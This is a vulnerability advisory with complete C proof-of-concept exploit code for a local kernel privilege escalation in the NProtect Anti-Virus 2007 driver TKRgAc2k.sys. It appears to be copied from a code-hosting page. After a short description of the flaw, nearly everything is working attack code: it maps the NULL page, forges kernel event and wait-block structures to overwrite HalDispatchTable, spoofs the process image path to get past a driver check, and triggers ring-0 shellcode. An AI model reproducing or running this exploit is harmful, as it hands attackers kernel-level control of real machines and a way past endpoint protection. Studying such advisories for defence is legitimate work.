619 lines
No EOL
18 KiB
Text
619 lines
No EOL
18 KiB
Text
NProtect Anti-Virus 2007 with TKRgAc2k.sys <= 2010.5.11.1
|
|
Local Kernel Mode Privilege Escalation Vulnerability
|
|
|
|
|
|
AUTHOR
|
|
MJ0011
|
|
|
|
EMAIL
|
|
th_decoder$126.com
|
|
|
|
VULNERABLE PRODUCTS
|
|
NProtect Anti-Virus 2007
|
|
|
|
DETAILS:
|
|
TKRgAc2k.sys create a device called "TKRgAc",and handles these io control codes for:
|
|
|
|
0x22140:Receive registry monitor key value name MD5
|
|
0x221448:Receive Registry monitor key name
|
|
0x221444:Receive Registry key monitor enable
|
|
0x221410:Receive virus name that matchs the key value name MD5
|
|
0x220c54:Create share memory for receive virus notification
|
|
0x220c5c:Receive event handle for send virus notification
|
|
Tkacrg2k.sys create FileObject->FsContext for each process to open the device,and save key/key value /virus name /event object in FsContext. Here contains a design error , if a registry operation is intercepted and match the rules , but event handle has not been set, TKAcRg2k.sys will still be nofity of this event to ring3 with KeSetEvent(NULL,0). An attacker can allocate a fake KEVENT structure at zero address and overwrite any address with KEvent->WaitThreadList->KThread->WaitListEntry 's remove list entry operation.
|
|
|
|
|
|
|
|
EXPLOIT CODE:
|
|
// NP0DAY.cpp : Defines the entry point for the console application.
|
|
//
|
|
#include "stdafx.h"
|
|
#include "windows.h"
|
|
typedef struct _STRING {
|
|
USHORT Length;
|
|
USHORT MaximumLength;
|
|
PCHAR Buffer;
|
|
} STRING;
|
|
typedef STRING *PSTRING;
|
|
typedef struct _RTL_DRIVE_LETTER_CURDIR {
|
|
USHORT Flags;
|
|
USHORT Length;
|
|
ULONG TimeStamp;
|
|
STRING DosPath;
|
|
} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR;
|
|
typedef struct _UNICODE_STRING {
|
|
USHORT Length;
|
|
USHORT MaximumLength;
|
|
PWSTR Buffer;
|
|
} UNICODE_STRING;
|
|
typedef UNICODE_STRING *PUNICODE_STRING;
|
|
typedef const UNICODE_STRING *PCUNICODE_STRING;
|
|
#define RTL_MAX_DRIVE_LETTERS 32
|
|
#define RTL_DRIVE_LETTER_VALID (USHORT)0x0001
|
|
typedef struct _CURDIR {
|
|
UNICODE_STRING DosPath;
|
|
HANDLE Handle;
|
|
} CURDIR, *PCURDIR;
|
|
typedef struct _RTL_USER_PROCESS_PARAMETERS {
|
|
ULONG MaximumLength;
|
|
ULONG Length;
|
|
ULONG Flags;
|
|
ULONG DebugFlags;
|
|
HANDLE ConsoleHandle;
|
|
ULONG ConsoleFlags;
|
|
HANDLE StandardInput;
|
|
HANDLE StandardOutput;
|
|
HANDLE StandardError;
|
|
CURDIR CurrentDirectory; // ProcessParameters
|
|
UNICODE_STRING DllPath; // ProcessParameters
|
|
UNICODE_STRING ImagePathName; // ProcessParameters
|
|
UNICODE_STRING CommandLine; // ProcessParameters
|
|
PVOID Environment; // NtAllocateVirtualMemory
|
|
ULONG StartingX;
|
|
ULONG StartingY;
|
|
ULONG CountX;
|
|
ULONG CountY;
|
|
ULONG CountCharsX;
|
|
ULONG CountCharsY;
|
|
ULONG FillAttribute;
|
|
ULONG WindowFlags;
|
|
ULONG ShowWindowFlags;
|
|
UNICODE_STRING WindowTitle; // ProcessParameters
|
|
UNICODE_STRING DesktopInfo; // ProcessParameters
|
|
UNICODE_STRING ShellInfo; // ProcessParameters
|
|
UNICODE_STRING RuntimeData; // ProcessParameters
|
|
RTL_DRIVE_LETTER_CURDIR CurrentDirectores[ RTL_MAX_DRIVE_LETTERS ];
|
|
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
|
|
typedef struct _PEB {
|
|
BOOLEAN InheritedAddressSpace; // These four fields cannot change unless the
|
|
|
|
BOOLEAN ReadImageFileExecOptions; //
|
|
BOOLEAN BeingDebugged; //
|
|
BOOLEAN SpareBool; //
|
|
HANDLE Mutant; // INITIAL_PEB structure is also updated.
|
|
|
|
PVOID ImageBaseAddress;
|
|
PVOID Ldr;
|
|
struct _RTL_USER_PROCESS_PARAMETERS *ProcessParameters;
|
|
} PEB, *PPEB;
|
|
typedef LONG KPRIORITY;
|
|
typedef struct _PROCESS_BASIC_INFORMATION {
|
|
LONG ExitStatus;
|
|
PVOID PebBaseAddress;
|
|
ULONG_PTR AffinityMask;
|
|
KPRIORITY BasePriority;
|
|
ULONG_PTR UniqueProcessId;
|
|
ULONG_PTR InheritedFromUniqueProcessId;
|
|
} PROCESS_BASIC_INFORMATION,*PPROCESS_BASIC_INFORMATION;
|
|
typedef enum _EVENT_TYPE {
|
|
NotificationEvent,
|
|
SynchronizationEvent
|
|
} EVENT_TYPE;
|
|
typedef struct _DISPATCHER_HEADER {
|
|
union {
|
|
struct {
|
|
UCHAR Type;
|
|
union {
|
|
UCHAR Absolute;
|
|
UCHAR NpxIrql;
|
|
};
|
|
union {
|
|
UCHAR Size;
|
|
UCHAR Hand;
|
|
};
|
|
union {
|
|
UCHAR Inserted;
|
|
BOOLEAN DebugActive;
|
|
};
|
|
};
|
|
volatile LONG Lock;
|
|
};
|
|
LONG SignalState;
|
|
LIST_ENTRY WaitListHead;
|
|
} DISPATCHER_HEADER , *PDISPATCHER_HEADER;
|
|
typedef const UNICODE_STRING *PCUNICODE_STRING;
|
|
typedef enum _WAIT_TYPE {
|
|
WaitAll,
|
|
WaitAny
|
|
} WAIT_TYPE;
|
|
typedef struct _OBJECT_BASIC_INFORMATION {
|
|
ULONG Attributes;
|
|
ACCESS_MASK GrantedAccess;
|
|
ULONG HandleCount;
|
|
ULONG PointerCount;
|
|
ULONG PagedPoolCharge;
|
|
ULONG NonPagedPoolCharge;
|
|
ULONG Reserved[ 3 ];
|
|
ULONG NameInfoSize;
|
|
ULONG TypeInfoSize;
|
|
ULONG SecurityDescriptorSize;
|
|
LARGE_INTEGER CreationTime;
|
|
} OBJECT_BASIC_INFORMATION, *POBJECT_BASIC_INFORMATION;
|
|
typedef struct _KWAIT_BLOCK {
|
|
LIST_ENTRY WaitListEntry;
|
|
PVOID kThread;
|
|
PVOID Object;
|
|
struct _KWAIT_BLOCK *NextWaitBlock;
|
|
USHORT WaitKey;
|
|
UCHAR WaitType;
|
|
} KWAIT_BLOCK, *PKWAIT_BLOCK, *PRKWAIT_BLOCK;
|
|
#include "malloc.h"
|
|
PVOID GetInfoTable(ULONG ATableType)
|
|
{
|
|
ULONG mSize = 0x4000;
|
|
PVOID mPtr = NULL;
|
|
LONG status;
|
|
HMODULE hlib = GetModuleHandle("ntdll.dll");
|
|
PVOID pZwQuerySystemInformation = GetProcAddress(hlib , "ZwQuerySystemInformation");
|
|
|
|
do
|
|
{
|
|
mPtr = malloc(mSize);
|
|
if (mPtr)
|
|
{
|
|
__asm
|
|
{
|
|
push 0
|
|
push mSize
|
|
push mPtr
|
|
push ATableType
|
|
call pZwQuerySystemInformation
|
|
mov status , eax
|
|
}
|
|
}
|
|
else
|
|
{
|
|
return NULL;
|
|
}
|
|
if (status == 0xc0000004)
|
|
{
|
|
free(mPtr);
|
|
mSize = mSize * 2;
|
|
}
|
|
} while (status == 0xc0000004);
|
|
if (status == 0)
|
|
{
|
|
return mPtr;
|
|
}
|
|
free(mPtr);
|
|
return NULL;
|
|
}
|
|
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {
|
|
USHORT UniqueProcessId;
|
|
USHORT CreatorBackTraceIndex;
|
|
UCHAR ObjectTypeIndex;
|
|
UCHAR HandleAttributes;
|
|
USHORT HandleValue;
|
|
PVOID Object;
|
|
ULONG GrantedAccess;
|
|
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
|
|
typedef struct _SYSTEM_HANDLE_INFORMATION {
|
|
ULONG NumberOfHandles;
|
|
SYSTEM_HANDLE_TABLE_ENTRY_INFO Information[ 1 ];
|
|
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
|
|
enum { SystemModuleInformation = 11,
|
|
SystemHandleInformation = 16 };
|
|
typedef struct {
|
|
ULONG Unknown1;
|
|
ULONG Unknown2;
|
|
PVOID Base;
|
|
ULONG Size;
|
|
ULONG Flags;
|
|
USHORT Index;
|
|
USHORT NameLength;
|
|
USHORT LoadCount;
|
|
USHORT PathLength;
|
|
CHAR ImageName[256];
|
|
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
|
|
typedef struct {
|
|
ULONG Count;
|
|
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
|
|
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
|
|
typedef VOID (WINAPI *PINBV_ACQUIRE_DISPLAY_OWNERSHIP)(VOID);
|
|
typedef BOOLEAN (WINAPI *PINBV_RESET_DISPLAY)(VOID);
|
|
typedef VOID (WINAPI *PINBV_SOLID_COLOR_FILL)(
|
|
ULONG x1,
|
|
ULONG y1,
|
|
ULONG x2,
|
|
ULONG y2,
|
|
ULONG color
|
|
);
|
|
typedef ULONG (WINAPI *PINBV_SET_TEXT_COLOR)(
|
|
ULONG Color
|
|
);
|
|
typedef
|
|
VOID
|
|
(*INBV_DISPLAY_STRING_FILTER)(
|
|
PUCHAR *Str
|
|
);
|
|
typedef VOID (WINAPI *PINBV_INSTALL_DISPLAY_STRING_FILTER)(
|
|
INBV_DISPLAY_STRING_FILTER DisplayStringFilter
|
|
);
|
|
typedef BOOLEAN (WINAPI *PINBV_ENABLE_DISPLAY_STRING)(
|
|
BOOLEAN bEnable
|
|
);
|
|
typedef VOID (WINAPI *PINVB_SET_SCROLL_REGION)(
|
|
ULONG x1,
|
|
ULONG y1,
|
|
ULONG x2,
|
|
ULONG y2
|
|
);
|
|
typedef VOID (WINAPI *PINBV_DISPLAY_STRING)(
|
|
PUCHAR Str
|
|
);
|
|
PINBV_ACQUIRE_DISPLAY_OWNERSHIP InbvAcquireDisplayOwnership = 0 ;
|
|
PINBV_RESET_DISPLAY InbvResetDisplay = 0 ;
|
|
PINBV_SOLID_COLOR_FILL InbvSolidColorFill = 0 ;
|
|
PINBV_SET_TEXT_COLOR InbvSetTextColor = 0 ;
|
|
PINBV_INSTALL_DISPLAY_STRING_FILTER InbvInstallDisplayStringFilter = 0 ;
|
|
PINBV_ENABLE_DISPLAY_STRING InbvEnableDisplayString = 0 ;
|
|
PINVB_SET_SCROLL_REGION InbvSetScrollRegion = 0 ;
|
|
PINBV_DISPLAY_STRING InbvDisplayString= 0 ;
|
|
#define VGA_COLOR_BLACK 0
|
|
#define VGA_COLOR_RED 1
|
|
#define VGA_COLOR_GREEN 2
|
|
#define VGA_COLOR_GR 3
|
|
#define VGA_COLOR_BULE 4
|
|
#define VGA_COLOR_DARK_MEGAENTA 5
|
|
#define VGA_COLOR_TURQUOISE 6
|
|
#define VGA_COLOR_GRAY 7
|
|
#define VGA_COLOR_BRIGHT_GRAY 8
|
|
#define VGA_COLOR_BRIGHT_RED 9
|
|
#define VGA_COLOR_BRIGHT_GREEN 10
|
|
#define VGA_COLOR_BRIGHT_YELLOW 11
|
|
#define VGA_COLOR_BRIGHT_BULE 12
|
|
#define VGA_COLOR_BRIGHT_PURPLE 13
|
|
#define VGA_COLOR_BRIGHT_TURQUOISE 14
|
|
#define VGA_COLOR_WHITE 15
|
|
UCHAR DisplayString[] =
|
|
" "
|
|
|
|
" "
|
|
|
|
" "
|
|
|
|
" ---- ===== EXPLOIT SUCCESSFULLY ==== ---- "
|
|
|
|
" "
|
|
|
|
" "
|
|
|
|
" NProtect AntiVirus 2007 Local Privilege Escalation Exploit "
|
|
|
|
" "
|
|
|
|
" VULNERABLE PRODUCT "
|
|
|
|
" "
|
|
|
|
" NProtect AntiVirus 2007 "
|
|
|
|
" "
|
|
|
|
" "
|
|
|
|
" VULERABLE FILE "
|
|
|
|
" TKRgAc2k.sys <= 2010.5.11.1 "
|
|
|
|
" "
|
|
|
|
" AUTHOR "
|
|
|
|
" "
|
|
|
|
" MJ0011 "
|
|
|
|
" th_decoder$126.com "
|
|
|
|
" "
|
|
|
|
" 2010-9-7 "
|
|
|
|
" "
|
|
|
|
" "
|
|
|
|
" ";
|
|
|
|
VOID InbvShellCode()
|
|
{
|
|
//DISABLE INTERRUPT
|
|
__asm
|
|
{
|
|
cli
|
|
}
|
|
//RESET TO VGA MODE
|
|
InbvAcquireDisplayOwnership();
|
|
InbvResetDisplay();
|
|
//FILL FULL SCREEN
|
|
InbvSolidColorFill(0 , 0 , 639 , 479 ,VGA_COLOR_BLACK);
|
|
//SET TEXT COLOR
|
|
InbvSetTextColor(VGA_COLOR_BRIGHT_GREEN);
|
|
InbvInstallDisplayStringFilter(NULL);
|
|
InbvEnableDisplayString(TRUE);
|
|
InbvSetScrollRegion( 0 , 0 , 639 ,477);
|
|
InbvDisplayString(DisplayString);
|
|
while(TRUE)
|
|
{
|
|
};
|
|
}
|
|
BOOL InbvInit(PVOID ntosbase , PSTR ntosname)
|
|
{
|
|
HMODULE hlib = LoadLibrary(ntosname);
|
|
if (hlib == NULL)
|
|
{
|
|
return FALSE ;
|
|
}
|
|
InbvAcquireDisplayOwnership = (PINBV_ACQUIRE_DISPLAY_OWNERSHIP)((ULONG)GetProcAddress(hlib , "InbvAcquireDisplayOwnership") - (ULONG)hlib + (ULONG)ntosbase);
|
|
|
|
InbvResetDisplay = (PINBV_RESET_DISPLAY)((ULONG)GetProcAddress(hlib , "InbvResetDisplay") - (ULONG)hlib + (ULONG)ntosbase);
|
|
|
|
InbvSolidColorFill = (PINBV_SOLID_COLOR_FILL)((ULONG)GetProcAddress(hlib , "InbvSolidColorFill") - (ULONG)hlib + (ULONG)ntosbase);
|
|
|
|
InbvSetTextColor = (PINBV_SET_TEXT_COLOR)((ULONG)GetProcAddress(hlib , "InbvSetTextColor") - (ULONG)hlib + (ULONG)ntosbase);
|
|
|
|
InbvInstallDisplayStringFilter = (PINBV_INSTALL_DISPLAY_STRING_FILTER)((ULONG)GetProcAddress(hlib , "InbvInstallDisplayStringFilter") - (ULONG)hlib + (ULONG)ntosbase);
|
|
|
|
InbvEnableDisplayString = (PINBV_ENABLE_DISPLAY_STRING)((ULONG)GetProcAddress(hlib , "InbvEnableDisplayString") - (ULONG)hlib + (ULONG)ntosbase);
|
|
|
|
InbvSetScrollRegion = (PINVB_SET_SCROLL_REGION)((ULONG)GetProcAddress(hlib , "InbvSetScrollRegion") - (ULONG)hlib + (ULONG)ntosbase);
|
|
|
|
InbvDisplayString = (PINBV_DISPLAY_STRING)((ULONG)GetProcAddress(hlib , "InbvDisplayString") - (ULONG)hlib + (ULONG)ntosbase);
|
|
|
|
if (InbvAcquireDisplayOwnership &&
|
|
InbvResetDisplay &&
|
|
InbvSolidColorFill &&
|
|
InbvSetTextColor &&
|
|
InbvInstallDisplayStringFilter &&
|
|
InbvEnableDisplayString &&
|
|
InbvSetScrollRegion &&
|
|
InbvDisplayString)
|
|
{
|
|
return TRUE ;
|
|
}
|
|
return FALSE ;
|
|
}
|
|
typedef struct MD5_STRING{
|
|
CHAR Md5[32];
|
|
}MD5_STRING , *PMD5_STRING;
|
|
typedef struct MD5_SEND{
|
|
ULONG Md5Number ;
|
|
ULONG DataLen ;
|
|
MD5_STRING Md5String[2];
|
|
}MD5_SEND , *PMD5_SEND;
|
|
typedef struct MON_RULE_SEND
|
|
{;
|
|
ULONG unknown ;
|
|
ULONG dataLen ;
|
|
CHAR RuleData1[10];
|
|
CHAR RuleData2[9];
|
|
}MON_RULE_SEND , *PMON_RULE_SEND;
|
|
typedef struct VIRUS_NAME_RULE_SEND
|
|
{
|
|
ULONG NumberOfName ;
|
|
ULONG TotalDataLen ;
|
|
CHAR Name[0x64];
|
|
}VIRUS_NAME_RULE_SEND , *PVIRUS_NAME_RULE_SEND;
|
|
int main(int argc, char* argv[])
|
|
{
|
|
printf("NProtect AntiVirus TKRgAc2k.sys <= 2010.5.11.1\n"
|
|
"Local Kernel Mode Privilege Escalation Vulnerability POC\n\n"
|
|
"Test On Windows XP SP3\n"
|
|
"by MJ0011 th_decoder$126.com\n"
|
|
"Press Enter....\n"
|
|
);
|
|
getchar();
|
|
PSYSTEM_MODULE_INFORMATION pmi = (PSYSTEM_MODULE_INFORMATION)GetInfoTable(SystemModuleInformation);
|
|
|
|
if (!InbvInit(pmi->Module[0].Base , strrchr(pmi->Module[0].ImageName , '\\')+1))
|
|
{
|
|
printf("cannot init inbv system\n");
|
|
return 0 ;
|
|
}
|
|
HMODULE hntos = LoadLibrary(strrchr(pmi->Module[0].ImageName , '\\')+1);
|
|
if (hntos == 0 )
|
|
{
|
|
printf("cannot load ntos\n");
|
|
return 0 ;
|
|
}
|
|
PVOID pHalDispatchTable = GetProcAddress(hntos , "HalDispatchTable");
|
|
pHalDispatchTable = (PVOID)((ULONG)pHalDispatchTable - (ULONG)hntos);
|
|
pHalDispatchTable = (PVOID)((ULONG)pHalDispatchTable + (ULONG)pmi->Module[0].Base);
|
|
|
|
PVOID xHalQuerySystemInformationAddr = (PVOID)((ULONG)pHalDispatchTable+ sizeof(ULONG));
|
|
|
|
FreeLibrary(hntos);
|
|
PVOID palloc = GetProcAddress(GetModuleHandle("ntdll.dll") , "NtAllocateVirtualMemory");
|
|
|
|
ULONG nsize = 0x1000 ;
|
|
PVOID pBase = (PVOID)0x1 ;
|
|
LONG status ;
|
|
__asm
|
|
{
|
|
push 0x4
|
|
push 0x3000
|
|
lea eax , nsize
|
|
push eax
|
|
push 0
|
|
lea eax , pBase
|
|
push eax
|
|
push 0xffffffff
|
|
call palloc
|
|
mov status , eax
|
|
}
|
|
if (status != 0 )
|
|
{
|
|
printf("allocate at 0 failed! %08x\n",status);
|
|
getchar();
|
|
return 0 ;
|
|
}
|
|
//build fake KEVENT
|
|
PDISPATCHER_HEADER pdh = (PDISPATCHER_HEADER)0x0 ;
|
|
KWAIT_BLOCK kwb ;
|
|
BYTE pShellCode[0x20];
|
|
KWAIT_BLOCK kwbpdh ;
|
|
pdh->Type = SynchronizationEvent;
|
|
pdh->WaitListHead.Flink = (PLIST_ENTRY)&kwbpdh ;
|
|
PVOID pkthread = malloc(0x1000);
|
|
kwbpdh.WaitType = WaitAny ;
|
|
kwbpdh.kThread = pkthread;
|
|
*(ULONG*)((ULONG)pkthread+ 0x5c) = (ULONG)&kwb ;
|
|
kwb.WaitListEntry.Flink = (PLIST_ENTRY)pShellCode ;
|
|
kwb.WaitListEntry.Blink = (PLIST_ENTRY)xHalQuerySystemInformationAddr ;
|
|
kwb.NextWaitBlock = &kwb ;
|
|
//wait list entry
|
|
*(ULONG*)((ULONG)pkthread+ 0x60) = 0 ;
|
|
//Thread->Timer->Header->Inserted
|
|
*(BOOLEAN*)((ULONG)pkthread+ 0xF3) = FALSE ;
|
|
//Thread->Queue
|
|
*(ULONG*)((ULONG)pkthread+ 0xe4) = NULL ;
|
|
#define LOW_REALTIME_PRIORITY 16
|
|
//thread->Priority
|
|
*(BYTE*)((ULONG)pkthread+ 0x33) = LOW_REALTIME_PRIORITY ;
|
|
//thread->eprocess
|
|
PVOID pkprocess = malloc(0x1000);
|
|
*(ULONG*)((ULONG)pkthread+ 0x44) = (ULONG)pkprocess;
|
|
//kprocess->state
|
|
*(BYTE*)((ULONG)pkprocess + 0x65) = 2 ;
|
|
PVOID preadylist = malloc(0x1000);
|
|
*(ULONG*)((ULONG)pkprocess + 0x44) = (ULONG)preadylist;
|
|
HANDLE hdev = CreateFile("\\\\.\\TKRgAc" , FILE_READ_ATTRIBUTES , FILE_SHARE_READ , 0 , OPEN_EXISTING , 0 , 0 );
|
|
|
|
if (hdev == INVALID_HANDLE_VALUE)
|
|
{
|
|
printf("cannot open dev %u\n" , GetLastError());
|
|
return 0 ;
|
|
}
|
|
MD5_SEND ms ;
|
|
memset(&ms , 0 , sizeof(ms));
|
|
ms.DataLen = 32 * 2 + 8 ;
|
|
ms.Md5Number = 1 ;
|
|
strcpy(ms.Md5String->Md5 , "202CB962AC59075B964B07152D234B70");
|
|
//202CB962AC59075B964B07152D234B70 = "123"
|
|
ULONG btr ;
|
|
if (!DeviceIoControl(hdev , 0x22140C, &ms , sizeof(ms) , NULL , 0 , &btr , 0))
|
|
{
|
|
printf("send md5 %u\n", GetLastError());
|
|
getchar();
|
|
return 0 ;
|
|
}
|
|
MON_RULE_SEND mrs ;
|
|
memset(&mrs , 0 , sizeof(mrs));
|
|
mrs.dataLen = 0x13 ;
|
|
strcpy(mrs.RuleData1 , "*Classes*");
|
|
strcpy(mrs.RuleData2 , "*CLSID*");
|
|
if (!DeviceIoControl(hdev , 0x221448 , &mrs , sizeof(mrs) , NULL , 0 , &btr, 0 ))
|
|
|
|
{
|
|
printf("send rule %u\n",GetLastError());
|
|
getchar();
|
|
return 0 ;
|
|
}
|
|
BOOLEAN open741 = FALSE ;
|
|
if (!DeviceIoControl(hdev , 0x221008 , &open741 , sizeof(BOOLEAN) , NULL , 0 , &btr , 0 ))
|
|
|
|
{
|
|
printf("open 741 %u\n",GetLastError());
|
|
getchar();
|
|
return 0 ;
|
|
}
|
|
ULONG data[4];
|
|
data[0] = 0x1dfff ;
|
|
data[1] = 0x0 ;
|
|
data[2] = 0x1 ;
|
|
data[3] = 0x1 ;
|
|
if (!DeviceIoControl(hdev , 0x221444 , &data , sizeof(ULONG) * 4 , NULL , 0 , &btr , 0 ))
|
|
|
|
{
|
|
printf("set 724 %u\n" , GetLastError());
|
|
getchar();
|
|
return 0 ;
|
|
}
|
|
VIRUS_NAME_RULE_SEND vnrs ;
|
|
memset(&vnrs , 0 , sizeof(vnrs));
|
|
strcpy(vnrs.Name , "VULN ATTACK !!!! :)");
|
|
vnrs.NumberOfName = 1 ;
|
|
vnrs.TotalDataLen = 0x64 ;
|
|
if (!DeviceIoControl(hdev , 0x221410 , &vnrs , sizeof(vnrs ) , NULL , 0 , &btr , 0 ))
|
|
|
|
{
|
|
printf("send virus name %u\n" , GetLastError());
|
|
getchar();
|
|
return 0 ;
|
|
}
|
|
ULONG numbuf = 0x64 ;
|
|
ULONG outbuf[2];
|
|
if (!DeviceIoControl(hdev , 0x220C54 ,&numbuf , sizeof(ULONG) , &outbuf , sizeof(ULONG) * 2 , &btr , 0 ))
|
|
|
|
{
|
|
printf("set share memory %u\n" ,GetLastError());
|
|
getchar();
|
|
return 0 ;
|
|
}
|
|
//fake PEB bypass check
|
|
PVOID pqp = GetProcAddress(GetModuleHandle("ntdll.dll") , "NtQueryInformationProcess");
|
|
|
|
PROCESS_BASIC_INFORMATION pbi ;
|
|
nsize = sizeof(pbi);
|
|
__asm
|
|
{
|
|
push 0
|
|
push nsize
|
|
lea eax , pbi
|
|
push eax
|
|
push 0
|
|
push 0xffffffff
|
|
call pqp
|
|
}
|
|
PPEB peb = (PPEB)pbi.PebBaseAddress;
|
|
PVOID psavebuf = malloc(peb->ProcessParameters->ImagePathName.Length );
|
|
RtlCopyMemory(psavebuf , peb->ProcessParameters->ImagePathName.Buffer , peb->ProcessParameters->ImagePathName.Length);
|
|
|
|
RtlCopyMemory(peb->ProcessParameters->ImagePathName.Buffer , L"iexplore.exe" , 26 );
|
|
|
|
HKEY hkey ;
|
|
if (RegOpenKey(HKEY_CLASSES_ROOT , "CLSID" , &hkey)==ERROR_SUCCESS)
|
|
{
|
|
DWORD regtype = REG_DWORD ;
|
|
DWORD Data = 0 ;
|
|
DWORD cbdata = 4;
|
|
//target KeSetEvent!
|
|
RegQueryValueEx(hkey , "123" , NULL , ®type , (LPBYTE)&Data , &cbdata);
|
|
}
|
|
RtlCopyMemory(peb->ProcessParameters->ImagePathName.Buffer , psavebuf , peb->ProcessParameters->ImagePathName.Length);
|
|
|
|
//set shellcode
|
|
*(BYTE*)((ULONG)pShellCode) = 0xe9 ;
|
|
*(ULONG*)((ULONG)pShellCode + 0x1) = (ULONG)InbvShellCode - (ULONG)pShellCode - 0x5 ;
|
|
|
|
PVOID pqi = GetProcAddress(GetModuleHandle("ntdll.dll" ) , "NtQueryIntervalProfile");
|
|
|
|
__asm
|
|
{
|
|
push 0
|
|
push 2
|
|
call pqi
|
|
}
|
|
return 0;
|
|
} |